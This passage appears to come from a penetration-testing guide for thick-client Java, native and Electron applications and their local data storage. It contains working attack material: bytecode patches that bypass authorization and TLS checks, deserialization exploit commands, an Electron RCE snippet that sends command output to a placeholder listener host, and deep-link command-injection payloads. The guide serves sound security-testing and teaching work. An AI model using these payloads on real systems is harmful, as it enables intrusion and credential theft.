**Decompiler disagreement is a signal, not noise.** When CFR, Procyon and Vineflower produce three different bodies for one method, you are looking at either a modern construct one engine cannot model, or deliberate bytecode that is valid to the JVM but unrepresentable in Java. Fall back to Krakatau disassembly for that method.
{% endhint %}

```bash
unzip -o app.jar -d app_src/
# fat/shaded jars: nested jars in BOOT-INF/lib, lib/, or at the root
find app_src -name '*.jar' -exec sh -c 'mkdir -p "${1%.jar}" && unzip -oq "$1" -d "${1%.jar}"' _ {} \;
java -jar cfr.jar app.jar --outputdir ./out          # bulk decompile
```

Grep targets: `*.properties`, `*.xml`, `*.yml`, `*.jks`, `*.p12`, `*.pem`, `META-INF/MANIFEST.MF`, `*.jnlp`.

**ProGuard / R8.** ProGuard renames and strips debug info; it does **not** do control-flow obfuscation (that is commercial DexGuard), so the control flow you decompile is real. ProGuard's own FAQ notes string encryption *has to be perfectly reversible by definition* — the decryptor is always present and callable.

{% hint style="danger" %}
**`mapping.txt` is a finding on its own.** It maps original ↔ obfuscated names and de-obfuscates the entire application. Grep the install tree, crash-reporting resources, and any public artifact or symbol server for `mapping.txt`, `*.map`, and R8 `-printmapping` output.
{% endhint %}

Without a mapping file, orient by what renaming cannot touch: string literals, JNI/native method names, reflection target strings, `serialVersionUID`, framework-required names (anything in a `-keep` rule), resource filenames, and SQL/URL constants.

#### Patching bytecode

[**Recaf**](https://github.com/Col-E/Recaf) for a one-off patch — edit as Java source or assembler and export. [**Krakatau**](https://github.com/Storyyeller/Krakatau) for bytecode other tools refuse:

```bash
python Krakatau/disassemble.py -out temp Target.class
python Krakatau/disassemble.py -out disassembled.zip -roundtrip app.jar   # bit-for-bit reassembly
# edit the .j files, then:
python Krakatau/assemble.py -out patched.jar -r ./asm_dir/
```

For scripted bulk patching use [javassist](https://github.com/jboss-javassist/javassist) (source-level: `CtMethod.insertBefore`, `setBody`) or [ASM](https://asm.ow2.io/) (per-opcode control).

```
ifeq      <-> ifne             # invert a boolean test
ificmpeq  <-> ificmpne         # and the lt/ge, gt/le families
iconst_0   -> iconst_1         # force isAdmin() to return true

# neuter a method without touching call sites — replace the body with:
iconst_1
ireturn
```

Targets: `checkPermission`, `isAdmin`, `hasRole`, `validateLicense`, `checkServerTrusted` / `checkClientTrusted` (emptying these `X509TrustManager` methods kills certificate validation), `HostnameVerifier.verify`.

```bash
# UNSIGN: remove signature artefacts, then strip *-Digest attributes from MANIFEST.MF
zip -d patched.jar 'META-INF/*.SF' 'META-INF/*.DSA' 'META-INF/*.RSA' 'META-INF/*.EC'

# RE-SIGN with your own key
keytool -genkeypair -alias test -keyalg RSA -keysize 2048 -keystore test.jks -storepass changeit -validity 365
jarsigner -keystore test.jks -storepass changeit -signedjar signed.jar patched.jar test
jarsigner -verify -verbose -certs signed.jar
```

Deleting the whole `META-INF` is a common mistake — it also removes `services/`, resources and property files the app needs. There is no `jarsigner -unsign`; use the `zip -d` route.

#### Runtime instrumentation — agents beat patching

{% hint style="success" %}
A **Java agent is strictly better than patching the jar**: no signature to strip, no file to modify, and you dump every call with arguments and return values.
{% endhint %}

```
java -javaagent:/path/agent.jar=options -jar target.jar

# agent jar MANIFEST.MF
Premain-Class: com.x.Agent
Agent-Class: com.x.Agent            # for dynamic attach -> agentmain()
Can-Retransform-Classes: true       # REQUIRED for retransformClasses()
```

[Byte Buddy](https://github.com/raphw/byte-buddy) is the practical authoring library:

```java
new AgentBuilder.Default()
  .with(AgentBuilder.RedefinitionStrategy.RETRANSFORMATION)
  .type(ElementMatchers.nameEndsWith("CryptoUtil"))
  .transform((b, type, cl, module, pd) ->
      b.visit(Advice.to(LogAdvice.class).on(ElementMatchers.named("decrypt"))))
  .installOn(instrumentation);

class LogAdvice {
  @Advice.OnMethodExit
  static void exit(@Advice.Argument(0) String in, @Advice.Return(readOnly=false) String out) {
      System.out.println("decrypt(" + in + ") = " + out);
      // out = "forced";   // you can rewrite the return value too
  }
}
```

Hook `javax.crypto.Cipher.doFinal`, `SecretKeySpec.<init>` (raw key bytes however they were derived), `KeyStore.load` (the store password as a `char[]`), `PBEKeySpec.<init>`, `SSLContext.init`, or the app's own `decryptConfig()`.

**JDWP — an instrumentation route&#x20;*****and*****&#x20;an unauthenticated RCE:**

```bash
# a debug-enabled client lets you instrument with no patching at all
jdb -attach localhost:5005
  > stop in com.target.Auth.isAdmin
  > locals
  > set someLocal = true

# detect an exposed one
nmap -sV -p 5005,8000,8787 target
echo -e "JDWP-Handshake" | nc target 5005      # server echoes JDWP-Handshake
```

{% hint style="danger" %}
**JDWP implements no authentication and no access control.** Anyone who completes the handshake can make the JVM load and invoke arbitrary classes — full RCE as the JVM's user. `address=*:5005` or `0.0.0.0` exposes it to the network; the safe form is `address=127.0.0.1:5005`. In a 2-tier Java app, a debug-enabled server is an unauthenticated Critical.
{% endhint %}

**Frida on desktop JVMs — know the limits.** HotSpot support landed in Frida 12.10 and JDK 17 in 15.1.23, but desktop coverage is much narrower than Android: interception works only if the JVM library has symbols, and Windows `DebugSymbol` support is reported as not fully functional — the common failure mode on Windows thick clients. Frida 17 also changed bridge loading (`import Java from "frida-java-bridge"`). **Prefer a Byte Buddy agent or JDWP** on desktop; use Frida for the native layer (JNI libraries, custom crypto in `.dll`/`.so`).

[**BurpJDSer-ng**](https://github.com/IOActive/BurpJDSer-ng) renders serialized Java objects on the wire as editable XML in a Burp message tab and re-serialises on send — it makes a binary 2-tier Java protocol as tamperable as JSON. Native Java serialization only (not Kryo, FST or Hessian).

#### Java protocol surfaces

| Surface  | Default ports                     | Tooling                                                                                                                                                                                                      |
| -------- | --------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| **RMI**  | 1099 registry, ephemeral objects  | [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser), [BaRMIe](https://github.com/NickstaDB/BaRMIe), [RMIScout](https://github.com/BishopFox/rmiscout), `nmap --script rmi-dumpregistry` |
| **JMX**  | 1090, 1099, 8686, 9010-9012, 7199 | [beanshooter](https://github.com/qtc-de/beanshooter) (current; [mjet](https://github.com/mogwailabs/mjet) and sjet are archived)                                                                             |
| **JDWP** | 5005, 8000, 8787                  | `jdb`, IntelliJ remote debugger                                                                                                                                                                              |
| **JNDI** | —                                 | `marshalsec`, JNDI-Injection-Exploit                                                                                                                                                                         |

```bash
rmg enum 172.17.0.2 9010         # bound names, remote classes, endpoints, ObjIDs
rmg guess 172.17.0.2 9010        # RMI exposes no method list, hence guessing
rmg roguejmx 172.17.0.2 9010     # harvest JMX credentials

./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>   # guesses WITHOUT invoking
./rmiscout.sh probe -s 'void f(java.lang.String a)' -i maven_popular.list -d x.oast.site <host> <port>

beanshooter enum 172.17.0.2 1090
beanshooter brute 172.17.0.2 1090
beanshooter serial 172.17.0.2 1090 CommonsCollections6 "<cmd>" --preauth
```

{% hint style="success" %}
**Decompiling the client beats guessing entirely.** The client's own code contains the remote interfaces (and, for gRPC, the complete generated stubs). Extract them, then test authz on **every** method — including the ones the GUI never calls. That is the .NET/Java equivalent of the sibling-endpoint rule, and it is where BFLA lives.
{% endhint %}

**BaRMIe's third attack class is the one to remember:** it uses TCP proxies to modify method parameters at the network level, so **any** method with a non-primitive parameter type becomes a deserialization entry point — not just ones declared to take `Object`. "The method signature looks safe" is not a defence.

**beanshooter's `--preauth`** matters too: the deserialization attack can land **before** authentication on some endpoints, so "JMX has a password" is not a complete defence.

**JNDI preconditions are version-dependent.** `com.sun.jndi.rmi.object.trustURLCodebase` defaults to `false` from the 6u132/7u122/8u113–8u121 range (sources disagree on the exact release); the LDAP vector was restricted in **8u191** (CVE-2018-3149). **Post-patch the sink is not dead** — remote codebase loading is blocked, but deserialization gadgets on the local classpath still work, and `javaFactory` still allows an arbitrary local factory class. Log4Shell does not depend on the JDK version at all.

{% hint style="warning" %}
**If you meet a `.jnlp` application, the runtime is EOL.** Java Web Start, the plug-in, `javaws` and applets were deprecated in JDK 9 and **removed in JDK 11**; JEP 320 removed CORBA in Java SE 11. A live JNLP app means JDK 8 or [OpenWebStart](https://github.com/karakun/OpenWebStart) — which means every pre-8u191 JNDI issue and every pre-JEP-290 deserialization issue is in play. Test the `.jnlp` itself as a deployment-integrity surface: a cleartext `codebase`, unsigned jars requesting `<all-permissions/>`, and the update channel.
{% endhint %}

#### Reading serialized streams

| Indicator     | Where                                                                       |
| ------------- | --------------------------------------------------------------------------- |
| `AC ED 00 05` | Raw TCP, files, HTTP bodies and headers (`STREAM_MAGIC` + `STREAM_VERSION`) |
| `rO0AB`       | Base64 of the above — cookies, form fields, JSON values, headers            |
| `H4sIA`       | gzip-wrapped — inflate first                                                |

```bash
grep -rl $'\xac\xed\x00\x05' . 2>/dev/null
grep -ro "rO0AB[A-Za-z0-9+/=]\{10,\}" .
```

[**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) dumps and **rebuilds** Java serialization streams in readable form, and crucially **does not deserialize** — nothing is instantiated, so it needs none of the app's classes and is safe to run on a hostile stream.

```bash
java -jar SerializationDumper-v1.14.jar aced0005740004414243447071007e0000
java -jar SerializationDumper-v1.14.jar -r raw-input-file.bin
```

{% hint style="success" %}
**Rebuild mode is the underused part.** Dump a stream to text, edit the values in place, convert it back to binary. That gives you surgical field tampering on a binary protocol — change a user ID, a role, a price — with **no gadget chain and no access to the application's classes**. It is the cheapest way to find authorization bugs in a 2-tier Java app, and the report is cleaner than an RCE claim: the server trusted a client-supplied field.
{% endhint %}

With [ysoserial](https://github.com/frohoff/ysoserial), run **`URLDNS` first** — zero library dependencies, so it proves the sink reaches `readObject` and nothing else. Then fingerprint the remote classpath (GadgetProbe, or `rmiscout probe`) *before* burning gadget attempts, cross-referencing the libraries you already found in the client's own `lib/`. A DNS callback alone is **Informational**; you need command execution with captured output, or a tampered-field authorization bug.

</details>

<details>

<summary>2.3 Native (C/C++, Delphi)</summary>

| Tool                                                         | Use                                                                                                                                         |
| ------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------- |
| [Ghidra](https://github.com/NationalSecurityAgency/ghidra)   | Free decompiler; the default for unmanaged binaries                                                                                         |
| IDA Pro / Binary Ninja                                       | Commercial, better decompilation on complex targets                                                                                         |
| [x64dbg](https://github.com/x64dbg/x64dbg)                   | Live debugging, patching, memory inspection                                                                                                 |
| [PE-sieve](https://github.com/hasherezade/pe-sieve)          | Dump an unpacked module from a live process — **a binary on disk that differs from the image in memory means packing or self-modification** |
| `strings` / [FLOSS](https://github.com/mandiant/flare-floss) | FLOSS also recovers *obfuscated* strings that plain `strings` misses                                                                        |

Breakpoint targets that pay immediately: `CryptDecrypt`, `BCryptDecrypt`, `CryptUnprotectData`, `LogonUserW`, `lstrcmpW` / `strcmp` on a password path, `connect` / `WSAConnect`.

{% hint style="info" %}
**Strings beats decompiling for a first pass.** It works on **any** binary including C++, it largely survives obfuscation, and it is one command. The trade-off is context: you learn a secret exists, not where it is used. Run both — and search with *different* terms than you expect. Searching for `password =` and finding nothing does not mean there is no password; the string the developer wrote is rarely the string you assumed.
{% endhint %}

```powershell
strings64.exe -n 8 target.exe > strings.txt
Select-String -Path strings.txt -Pattern "password|secret|api|token|http|Data Source=|BEGIN "
```

</details>

<details>

<summary>2.4 Electron applications</summary>

An Electron app is a Chromium renderer plus a Node.js main process. The source is JavaScript, so this is the easiest stack to read — and web bug classes (XSS, prototype pollution, missing CSP) become **desktop RCE** when the renderer can reach Node.

#### Getting the source

| Platform | Path                                    |
| -------- | --------------------------------------- |
| Windows  | `<install>\resources\app.asar`          |
| macOS    | `<App>.app/Contents/Resources/app.asar` |
| Linux    | `/opt/<app>/resources/app.asar`         |

```bash
npm install -g @electron/asar     # requires Node 22.12.0+
asar list    resources/app.asar
asar extract resources/app.asar ./app_src
asar pack    ./app_src app.asar   # repack after patching
```

Check the siblings in `resources/` before anything else — they are **plain files on disk, already extracted, and often writable**:

* `app.asar.unpacked/` — files matched by `asarUnpack`; native `.node` modules land here by default
* `extraResources` targets — reached at runtime via `process.resourcesPath`
* `app/` as a plain directory — a dev build shipped to production
* `app-update.yml` — the updater feed configuration

Also hunt **source maps** (`.map` files, or inline `//# sourceMappingURL=data:application/json;base64,…`); they reconstruct the original TypeScript/Vue/Svelte with comments.

```bash
grep -rn "new BrowserWindow\|webPreferences" app_src/
grep -rn "nodeIntegration\|contextIsolation\|sandbox\|webSecurity\|allowRunningInsecureContent\|nodeIntegrationInSubFrames\|webviewTag" app_src/
grep -rn "exposeInMainWorld\|ipcRenderer\|ipcMain.handle\|ipcMain.on" app_src/
grep -rn "shell.openExternal\|shell.openPath\|child_process\|setWindowOpenHandler\|will-navigate\|setAsDefaultProtocolClient" app_src/
grep -rn "autoUpdater\|setFeedURL\|publisherName" app_src/
find app_src -name "*.map"
```

#### The `webPreferences` audit

| Option                                         | Secure default | Default since | Impact when wrong                                                                                                 |
| ---------------------------------------------- | -------------- | ------------- | ----------------------------------------------------------------------------------------------------------------- |
| `nodeIntegration`                              | `false`        | **5.0.0**     | Renderer gets `require()` → **direct RCE from any XSS**                                                           |
| `contextIsolation`                             | `true`         | **12.0.0**    | Preload shares the page's JS context → the page can tamper with the preload's internals                           |
| `sandbox`                                      | `true`         | **20.0.0**    | Unsandboxed renderer. *Auto-disabled when `nodeIntegration: true`; disabling `contextIsolation` also disables it* |
| `webSecurity`                                  | `true`         | —             | Same-origin policy off                                                                                            |
| `allowRunningInsecureContent`                  | `false`        | —             | HTTPS page loads HTTP scripts → network-position injection                                                        |
| `webviewTag`                                   | `false`        | —             | `<webview>` enabled — **its preload runs with Node integration on**                                               |
| `nodeIntegrationInSubFrames`                   | off            | —             | Widens what iframes reach from the preload                                                                        |
| `experimentalFeatures` / `enableBlinkFeatures` | off / none     | —             | Unreviewed Blink features                                                                                         |

{% hint style="info" %}
Since the secure values are now the **defaults**, the *absence* of a key is usually fine — an **explicit override** is the finding. Also read `<webview>` tag attributes in the HTML (`nodeintegration`, `disablewebsecurity`, `allowpopups`, `preload`) and any `will-attach-webview` handler.
{% endhint %}

`enableRemoteModule` was **removed in Electron 14**; the `remote` module moved to `@electron/remote`. On 14+ the flag is inert and the modern finding is a broad `require('@electron/remote/main').enable(webContents)` — especially on a window that loads remote content.

#### Proving impact

**With `nodeIntegration: true` or `contextIsolation: false`** — any renderer JS sink becomes RCE:

```js
require('child_process').exec('calc.exe')
top.require('child_process').exec('calc')          // from a subframe that inherited Node
```

Do not stop at `alert(document.domain)`. Capture command **output** and exfiltrate it, so a triager sees execution rather than a popup:

```js
const out = require('child_process').execSync('whoami && hostname').toString();
fetch('https://YOUR-LISTENER/' + encodeURIComponent(out));
```

**With `contextIsolation` on**, `require` is gone and the surface becomes **whatever the preload exposed**. Enumerate it, then reach a dangerous main-process sink through it:

```js
Object.keys(window).filter(k => !(k in window.__proto__) && typeof window[k] === 'object')
Object.keys(window.electronAPI || {})
```

Sinks worth hunting behind a `contextBridge` wrapper: `shell.openExternal`, `shell.openPath`, `child_process.*`, `fs` calls with a caller-controlled path, `BrowserWindow.loadURL`, `app.relaunch` with arguments, cookie access, and anything that writes the app's own config or update feed.

{% hint style="danger" %}
**`shell.openExternal` is the classic escalation.** Hand it a non-`http(s)` URL the OS will execute — `file:///Applications/Malware.app`, a Windows UNC path to an attacker SMB share, or an OS-handled scheme. Chained behind a renderer XSS it becomes one click. The real-world **DeepChat** case was exactly this: a `contextBridge`-exposed `openExternal` passed its argument straight through with no protocol allow-list, reachable from a markdown→HTML pipeline that kept raw HTML with no CSP.
{% endhint %}

#### IPC and sender validation

`ipcMain.handle` / `ipcMain.on` handlers with no sender check are callable from **any frame** in that WebContents — a third-party iframe, an OAuth callback page, an ad frame, or your XSS. Electron's documented pattern:

```js
ipcMain.handle('get-secrets', (e) => {
  if (!validateSender(e.senderFrame)) return null
  return getSecrets()
})
function validateSender (frame) {
  return frame && frame.origin === 'https://electronjs.org'
}
```

Use **`origin`, not the URL** — `about:blank`, `blob:` and sandboxed documents have URLs that do not reflect their origin. **CVE-2022-29247** is the proof this matters: a renderer with JS execution could obtain IPC access *without* `nodeIntegrationInSubFrames`, and the documented workaround is precisely "validate `senderFrame` in every handler".

Enumerate channels statically from the extracted source, then call them, and score each by **what it does in main**, not by its name.

#### Deep links and argument injection

Find registered schemes via `setAsDefaultProtocolClient` / `registerSchemesAsPrivileged`, Windows `HKCU\Software\Classes\<scheme>\shell\open\command`, macOS `CFBundleURLTypes` in `Info.plist`, or Linux `.desktop` `MimeType=x-scheme-handler/<scheme>`. Note whether the registered command ends in `"%1"` and whether `--` follows it.

**CVE-2018-1000006** (Windows only) — a crafted link to a custom scheme appended extra Chromium switches to the process command line, and `--gpu-launcher=<command>` then executed an arbitrary command. Doyensec bypassed the first patch with **case variation** (`--GPU-launcher`). The same class produced **CVE-2021-38112** (AWS WorkSpaces `workspaces://`) and a Windows drive-by RCE through `ms-officecmd:` into Teams.

```
myapp://foo" --gpu-launcher="cmd /c calc
myapp://foo" --GPU-launcher="cmd /c calc
myapp://foo" --inspect=0.0.0.0:9229
```

Also try `--no-sandbox`, `--remote-debugging-port=`, `--host-resolver-rules="MAP * YOUR-IP"`, `--proxy-server=`. **What proves it:** the injected process actually running, triggered from a link the victim merely clicks — with attacker-side callback output, not a hand-typed command line.

#### Debug surfaces and fuses

| Switch                                         | Behaviour                                                      |
| ---------------------------------------------- | -------------------------------------------------------------- |
| `--inspect[=host:port]`                        | V8 inspector on the **main process**, default `127.0.0.1:9229` |
| `--remote-debugging-port=port`                 | CDP over HTTP against renderers                                |
| `--no-sandbox` / `--ignore-certificate-errors` | Testing switches that should never be reachable in production  |

```bash
"C:\Program Files\Foo\Foo.exe" --inspect=9229
curl -s http://127.0.0.1:9229/json/list      # main process
curl -s http://127.0.0.1:9222/json           # renderer targets
```

Reaching the **main-process** inspector is arbitrary code execution as the app, with full Node. Audit the fuses that gate all of this:

```bash
npx @electron/fuses read --app /Applications/Foo.app
ELECTRON_RUN_AS_NODE=1 "/Applications/Foo.app/Contents/MacOS/Foo" -e "console.log(process.version)"
```

| Fuse                                    | Default     | Controls                                                            |
| --------------------------------------- | ----------- | ------------------------------------------------------------------- |
| `runAsNode`                             | **Enabled** | Whether `ELECTRON_RUN_AS_NODE` is respected                         |
| `enableNodeCliInspectArguments`         | **Enabled** | Whether `--inspect` flags are respected                             |
| `enableNodeOptionsEnvironmentVariable`  | **Enabled** | Whether `NODE_OPTIONS` / `NODE_EXTRA_CA_CERTS` are respected        |
| `enableEmbeddedAsarIntegrityValidation` | Disabled    | Validates `app.asar` on load — **if off, repacking the asar works** |
| `onlyLoadAppFromAsar`                   | Disabled    | No fallback to `app/` or `default_app.asar`                         |
| `enableCookieEncryption`                | Disabled    | OS-key encryption of the cookie store                               |
| `grantFileProtocolExtraPrivileges`      | **Enabled** | `file://` pages get extra privileges                                |

{% hint style="warning" %}
**Calibrate the severity before you submit.** Electron has publicly disputed the CVEs filed against apps for `runAsNode` / `enableNodeCliInspectArguments`, pointing out that exploitation **requires the attacker to already execute commands on the machine**. The genuine impact is narrower: a compromised app can act as a generic Node process **inheriting the app's TCC / OS permissions** (camera, mic, Full Disk Access, keychain). Report it as local privilege/permission laundering with that angle quantified, or it gets closed.
{% endhint %}

#### Auto-update

```bash
grep -rn "setFeedURL\|provider\|latest.yml\|RELEASES\|app-update.yml" app_src/
```

1. **Find the feed** and its scheme — plain `http://` is the immediate finding.
2. **Can you influence the manifest?** Point the app at your own server (hosts file + listener, or edit the writable `app-update.yml` in `resources/`) and serve a modified `latest.yml` / `latest-mac.yml` / `RELEASES`. Does it accept a **lower version**, a different `path`, a mismatched `sha512`?
3. **Does it verify a signature, and whose?** On Windows, is `publisherName` set, and does the installer proceed with an artifact signed by a different certificate? On macOS, Squirrel.Mac requires the update's signature to match the running app — test that it fails closed.

Two verified precedents: Doyensec's 2020 `electron-updater` bypass (publisher name compared as a **string**, plus an unescaped temp-file path), and **CVE-2024-39698** — the 2020 patch was **incomplete**, so an attacker controlling the manifest can make the app verify the signature of a *different* file than the one it installs. Fixed in 6.3.0-alpha.6.

**What proves it:** your own binary installed and executed by the app's updater, version shown in the UI, from a manifest you served.

#### Tooling

```bash
npm install -g @doyensec/electronegativity
electronegativity -i ./app_src -o findings.sarif
electronegativity -i resources/app.asar -s high -c high
electronegativity -i ./app_src -u 7..8        # upgrade-path checks
```

[Electronegativity](https://github.com/doyensec/electronegativity) is **archived** (last release 2023) and the authors point to the commercial ElectroNG. It is still the best free option — just expect it to miss post-2023 patterns. It takes a directory, a `.js`/`.html` file, or a `.asar` archive — **not a packaged binary**, so extract first.

**Version check:**

```bash
strings "Foo.exe" | grep -oE "Electron/[0-9]+\.[0-9]+\.[0-9]+" | sort -u
grep -oE '"electron":\s*"[^"]+"' app_src/package.json
curl -s https://releases.electronjs.org/releases.json | jq '.[0]'
```

Cross-reference [Electron's security advisories](https://github.com/electron/electron/security/advisories). Derive the embedded **Chromium** version from the release feed and check Chrome CVEs too — a stale Electron ships a stale Chromium, and only the newest few major lines get backports.

**Fix:** keep all four `webPreferences` defaults; expose narrow wrapper functions, never `ipcRenderer` itself; ship a restrictive CSP; call `setPermissionRequestHandler()` on every session that loads remote content (**Electron auto-approves all permission requests** without one); flip `runAsNode`, `enableNodeCliInspectArguments` and `enableNodeOptionsEnvironmentVariable` **off** at package time; enable both asar-integrity fuses; validate `event.senderFrame.origin` in every IPC handler.

</details>

## Phase 3 · Insecure Data Storage

<details>

<summary>3.1 Configuration files — the cheapest finding in the engagement</summary>

Find them with Procmon (`Path ends with .config` / `.ini` / `.xml` / `.json`), then read them in a text editor. No decompiling, no memory dump, no tooling.

```powershell
# the usual locations, in order of how often they pay
dir "C:\Program Files\Target\*.config","C:\Program Files\Target\*.ini"
dir "$env:APPDATA\Target"     -Recurse
dir "$env:LOCALAPPDATA\Target" -Recurse
dir "$env:PROGRAMDATA\Target" -Recurse
```

```powershell
# grep the install tree for the usual suspects
Select-String -Path "C:\Program Files\Target\*" -Recurse `
  -Pattern "password|passwd|pwd|secret|apikey|api_key|token|connectionstring|Data Source=|Server=|Bearer " `
  -ErrorAction SilentlyContinue
```

What turns up: DB host/name/user/password, encryption **key and IV**, API keys, FTP credentials, licence state, feature flags, backend URLs you did not know existed.

{% hint style="warning" %}
**`%PROGRAMDATA%` is the dangerous one.** Default ACLs let any user on the machine read it, and applications frequently loosen them further to let a non-admin user write. A credential in `%PROGRAMDATA%` is readable by every account on a shared host — check the ACL and say so in the report.
{% endhint %}

```powershell
icacls "C:\ProgramData\Target"
icacls "C:\Program Files\Target"
accesschk.exe -uwdqs "Users" "C:\Program Files\Target"    # writable dirs for Users
accesschk.exe -uwqs  "Users" "C:\Program Files\Target\*"  # writable files for Users
```

**.NET note — "we encrypt the config" is usually not a defence.** `aspnet_regiis -pe` encrypts a config section with a `configProtectionProvider`. With the **DPAPI provider**, the section is decryptable by anything running on that machine — including you. With the RSA provider it depends on the key container's ACL. Check which provider is in use before accepting the control.

</details>

<details>

<summary>3.2 Registry</summary>

<figure><img src="https://2308035028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWeYzWCIl8fzqyot9mus5%2Fuploads%2FCPuwxUUs9rz3gluC46cB%2Fimage.png?alt=media&amp;token=10591bf6-3174-4639-8682-adbde401374c" alt=""><figcaption></figcaption></figure>

**How you find it without scanning:** behavioural inference. Close the app and reopen it — if it does not ask for credentials again, it stored them somewhere local. That reasoning leads straight to the registry.

```powershell
# the two hives that matter
reg query HKCU\Software\Target /s
reg query HKLM\Software\Target /s

# hunt a known value across the whole hive
reg query HKCU /f "password" /s /t REG_SZ
```

**Regshot gives you before/after proof:**

1. Take **1st shot** with the app installed but logged out.
2. Exercise every function — log in, use each feature, log out.
3. Take **2nd shot** → **Compare**.
4. The diff shows values moving from absent/`null` to the user's credentials.

A diff is far stronger evidence in a report than a screenshot of a single key, and it saves manual hunting when the app writes dozens of keys.

**Three distinct defects commonly live in one registry key**, and they need separate findings:

| Defect                                       | Test                                           | Impact                    |
| -------------------------------------------- | ---------------------------------------------- | ------------------------- |
| Credentials stored in plain text             | Read the key                                   | Local disclosure          |
| The app **trusts** the registry for identity | Change `username` to another user, restart     | **Account takeover**      |
| Session survives application close           | Close fully, set only the session flag, reopen | **Authentication bypass** |

{% hint style="danger" %}
Encryption fixes only the first of those three. An encrypted credential in a user-writable location that the app still trusts for identity is the same account takeover with an extra step. The real fix is **not deriving identity from a user-writable location at all**.
{% endhint %}

Watch for identity being **split across fields**: changing `username` may switch the UI account while queries still filter on a separate `email` value. Change every identity field, and note which one the backend actually keys on — that is the field you will tamper with in Phase 4.

Also check registry **ACLs**, not just contents — a key under `HKLM` that `Users` can write is a privilege boundary crossing in itself.

</details>

<details>

<summary>3.3 Memory — the richest source</summary>

{% hint style="success" %}
**Exercise the application first.** Memory holds what the app actually used. Log in, run every feature, trigger an export, *then* dump. Dump a cold process and you find nothing and wrongly conclude the app is clean.
{% endhint %}

<figure><img src="https://2308035028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWeYzWCIl8fzqyot9mus5%2Fuploads%2Fa6dfyceLwnkwArD21KhK%2Fimage.png?alt=media&amp;token=7592025d-b372-41d6-b68b-180c6ddede40" alt=""><figcaption></figcaption></figure>

**Workflow with System Informer / Process Hacker:**

1. Run the app and use every function.
2. Right-click the process → **Properties** → **Memory** → **Strings…** → include image, mapped and private, minimum length \~6.
3. **Filter** — the raw list is enormous. The filter is the whole job:
   * `password`, `pwd`, `secret`, `token`, `Bearer`
   * `Data Source=` / `Server=` / `Initial Catalog=` (connection strings)
   * the **database IP** you recorded in Phase 1
   * the user's own email address
   * `BEGIN RSA PRIVATE KEY`, `-----BEGIN`
4. **Keep searching past the first hit.** The value you want is rarely the first match.
5. **Log out and dump again.** If the credentials are still resident, that is a separate, higher-impact finding: the next person to use that machine reads the database password out of a process that was correctly logged out of.

```powershell
# full user-mode dump for offline analysis
procdump.exe -ma <pid> target.dmp
strings64.exe -n 8 target.dmp > strings.txt
Select-String -Path strings.txt -Pattern "password|Data Source=|Bearer "
```

For .NET processes, a heap walk beats raw strings — every C# string is an object on the managed heap:

```
dotnet-dump collect -p <pid>
dotnet-dump analyze core_<pid>.dmp
> dumpheap -type System.String -stat
> dumpheap -type System.String
> dumpobj <addr>
```

{% hint style="info" %}
**Defence reality:** you cannot keep secrets out of memory — the app needs them to work. You *can* clear them the moment they are no longer needed (`SecureString` is deprecated and not a fix; zeroing buffers and limiting lifetime is). "Still resident after logout" is the finding, not "present in memory at all."
{% endhint %}

</details>

<details>

<summary>3.4 Local databases and caches</summary>

| Artefact                       | Where                                        | Tool                                                |
| ------------------------------ | -------------------------------------------- | --------------------------------------------------- |
| SQLite / SQL CE                | `%APPDATA%`, `%LOCALAPPDATA%`, install dir   | [DB Browser for SQLite](https://sqlitebrowser.org/) |
| LevelDB / IndexedDB (Electron) | `%APPDATA%\<App>\Local Storage`, `IndexedDB` | `leveldb` tooling, or just `strings`                |
| Realm                          | App data dir                                 | Realm Studio                                        |
| Offline cache / sync files     | Varies                                       | `strings`, manual review                            |

Look for: cached session tokens, offline copies of records the user should not retain, PII, and "deleted" rows that are only soft-deleted locally.

</details>

<details>

<summary>3.5 Side-channel data exposure (logs)</summary>

<figure><img src="https://2308035028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWeYzWCIl8fzqyot9mus5%2Fuploads%2FE0mg4VFlOXM7K5hKOqwm%2Fimage.png?alt=media&amp;token=a4787112-3bf4-489f-ae78-d5b11d2851a7" alt=""><figcaption></figcaption></figure>

A GUI application still writes to **stdout**. Launch it from a terminal and redirect — the console becomes your log file.

```batch
Target.exe > C:\Users\Public\console.log 2>&1
```

One login in a debug-enabled build commonly prints the full connection string and the database password. Confirm from the other side by finding the `Console.WriteLine` / `logger.debug` call in the decompiled source (Phase 2) — source plus captured output is an unarguable pair.

Also check:

* Log files in the install dir, `%APPDATA%`, `%PROGRAMDATA%`, and `%TEMP%`
* Windows **Event Log** entries written by the app
* **Crash dumps** under `%LOCALAPPDATA%\CrashDumps` — a dump is a memory image on disk
* Verbose switches (`--debug`, `--verbose`, `-log`) and debug flags left in the config

{% hint style="info" %}
The root cause here is a **release-process failure, not a coding error**: printing state to the console during development is correct practice; shipping that build with logging enabled is the defect. Write it that way — developers accept it faster.
{% endhint %}

</details>

<details>

<summary>3.6 Secrets in the OS credential stores</summary>

| Store                      | Enumerate with                                                   | Auditor's question                                      |
| -------------------------- | ---------------------------------------------------------------- | ------------------------------------------------------- |
| Credential Manager / Vault | `cmdkey /list`, `vaultcmd /listcreds:"Windows Credentials" /all` | Did the app store a credential here, and at what scope? |
| DPAPI blobs                | [SharpDPAPI](https://github.com/GhostPack/SharpDPAPI)            | Is the blob **user**-scoped or **machine**-scoped?      |

{% hint style="danger" %}
**DPAPI scope is the whole finding.** A blob protected with `CRYPTPROTECT_LOCAL_MACHINE` can be unprotected by **any process on that machine**, including an unprivileged one belonging to a different user. User-scoped blobs are bound to the user profile. An app that machine-scopes its secrets on a shared or terminal-server host has no protection against a local attacker — and this is a common mistake, because machine scope is what makes the app "just work" for every user.
{% endhint %}

</details>

<details>

<summary>3.7 Analysis Binary File via Strings Tool</summary>

```ps
Strings.exe C:\Users\mac\Downloads\Dvta\dvta.exe > C:\Users\mac\Desktop\strings.txt
```

